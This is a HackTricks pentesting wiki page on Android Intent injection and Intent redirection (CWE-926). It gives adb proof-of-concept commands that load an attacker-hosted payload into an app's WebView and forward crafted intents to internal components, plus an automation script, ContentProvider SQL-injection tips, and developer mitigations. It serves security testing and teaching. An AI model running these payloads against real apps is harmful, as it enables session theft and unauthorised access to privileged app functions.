HackTricks News Bot bdc0c05cbe Add content from: Automating Android App Component Testing with New APK Inspec...
- Remove searchindex.js (auto-generated file)
2025-09-18 12:48:13 +00:00

11 KiB
Raw Blame History

Intent Injection

{{#include ../../banners/hacktricks-training.md}}

Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are:

  • Passing crafted extras to exported Activities/Services/BroadcastReceivers that are later forwarded to privileged, non-exported components.
  • Triggering exported VIEW/BROWSABLE deep links that forward attacker-controlled URLs into internal WebViews or other sensitive sinks.

If an app exposes a custom scheme deep link such as:

myscheme://com.example.app/web?url=<attacker_url>

and the receiving Activity forwards the url query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context.

PoC via adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS executes inside the apps WebView profile.
  • If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed @JavascriptInterface objects, steal WebView cookies/local storage, and pivot.

See also:

{{#ref}} webview-attacks.md {{#endref}}

Order-of-checks bug enabling JavaScript

A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.

What to look for in decompiled code:

  • Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
  • Calls to getSettings().setJavaScriptEnabled(true) before the last host/path allowlist check.
  • A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.

Mitigations

  • Canonicalize once and validate strictly; fail closed.
  • Only enable JavaScript after all checks pass and just before loading trusted content.
  • Avoid exposing bridges to untrusted origins.

Other classic Intent injection primitives

  • startActivity/sendBroadcast using attacker-supplied Intent extras that are later re-parsed (Intent.parseUri(...)) and executed.
  • Exported proxy components that forward Intents to non-exported sensitive components without permission checks.

Automating exported-component testing (Smali-driven ADB generation)

When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile and scan Smali for calls like getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() to infer which extras and fields are consumed by each component.
  • Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact adb shell am .../cmd content ... command with correctly typed flags.

Install

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Usage

python apk-components-inspector.py target.apk

Example output

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras cheat sheet (type-aware flags)

  • Strings: --es key value | String array: --esa key v1,v2
  • Integers: --ei key 123 | Int array: --eia key 1,2,3
  • Booleans: --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro tips for Providers

  • Use adb shell cmd content query|insert|update|delete ... to hit ContentProviders without agents.
  • For SQLi probing, vary --projection and --where (aka selection) when the underlying provider is SQLite-backed.

Full-pipeline automation (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py

Helper script (merges continued lines, executes only lines starting with adb):

import subprocess

def parse_adb_commands(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
    commands = []
    current = []
    for line in lines:
        s = line.strip()
        if s.startswith("adb "):
            current = [s]
        elif s.startswith("#") or not s:
            if current:
                full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
                commands.append(full)
                current = []
        elif current:
            current.append(s)
    if current:
        full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
        commands.append(full)
    return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
    print(f"\nCommand {i}: {cmd}")
    input("Press Enter to execute this command...")
    try:
        r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
        print("Output:\n", r.stdout)
        if r.stderr:
            print("Errors:\n", r.stderr)
    except subprocess.CalledProcessError as e:
        print(f"Command failed with error:\n{e.stderr}")

Run on-device: the inspector is Python-based and works in Termux or rooted phones where apktool/androguard are available.


Intent Redirection (CWE-926) finding and exploiting

Pattern

  • An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
    • startActivity(getIntent())
    • startActivity(intent) where intent came from an extra like redirect_intent/next_intent/pending_intent or Intent.parseUri(...).
    • Trusting action/data/component fields without checks; not verifying caller identity.

What to search in Smali/Java

  • Uses of getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...).
  • Direct startActivity(...), startService(...), sendBroadcast(...) on attacker-influenced Intents.
  • Lack of getCallingPackage()/getCallingActivity() checks or custom permission gates.

ADB PoC templates

  • Proxy Activity forwarding an extra Intent to a privileged internal Activity:
adb shell am start -n com.target/.ProxyActivity \
  --es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Exported Service that honors a redirect_intent parcelable:
adb shell am startservice -n com.target/.ExportedService \
  --es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver that relays without validation:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
  --es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags helpful for singleTask-style behavior

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Real-world examples (impact varies):

  • CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → system-level effects.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Mitigations (developer checklist)

  • Do not forward incoming Intents directly; sanitize and re-construct allowed fields.
  • Restrict exposure with android:exported="false" unless necessary. Protect exported components with permissions and signatures.
  • Verify caller identity (getCallingPackage()/getCallingActivity()), and enforce explicit Intents for intra-app navigation.
  • Validate both action and data (scheme/host/path) before use; avoid Intent.parseUri on untrusted input.

References

{{#include ../../banners/hacktricks-training.md}}